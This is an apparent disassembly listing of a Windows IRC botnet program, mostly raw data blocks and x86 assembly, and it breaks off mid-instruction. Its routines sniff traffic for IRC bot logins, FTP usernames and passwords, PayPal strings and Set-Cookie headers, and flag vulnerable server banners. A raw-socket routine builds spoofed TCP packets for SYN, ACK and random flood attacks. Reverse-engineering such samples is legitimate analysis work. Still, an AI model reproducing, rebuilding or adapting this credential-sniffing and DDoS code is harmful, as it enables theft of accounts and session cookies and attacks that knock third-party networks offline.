4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434E8Ch, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46C40845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E746850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E6068h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434DF408h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h dd 2AE02BE8h db 2 byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh dd 50004CAFh, 0FD4C858Dh, 0FC68FFFFh, 50004357h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 2ADF57E8h, 458B9002h, 69106AD0h, 234C0h dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357D068h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h dd 56022ADEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h dd 68FFFFFDh, 4357A0h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 2ADE4FE8h, 0BB539002h, 434EB8h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 9468FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 578468FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h dd 8B7F048Dh, 4ECCC504h, 34FF0043h, 434EA885h, 4C858D00h dd 68FFFFFDh, 435750h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh dd 43572468h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2ADCAFE8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDCE0, eax mov eax, offset dword_4CDCE0 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAF88 lea eax, [ebp+var_3B8] push eax call dword_4CAFF8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AD0 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26C0000h nop loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF20 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AA0 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26C0000h loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAF8C cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A6C jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A38 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A04 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359CC loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435994 jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 225DBF8h dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5AFC68FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Ah ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAF74 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAF74 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAF74 push 12345678h mov [ebp+var_14], ax call dword_4CAF70 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAF74 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 27603B5h nop lea eax, [ebp+var_1C] push eax nop call near ptr 2760000h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 2760000h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435B24 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB00C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAECC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short 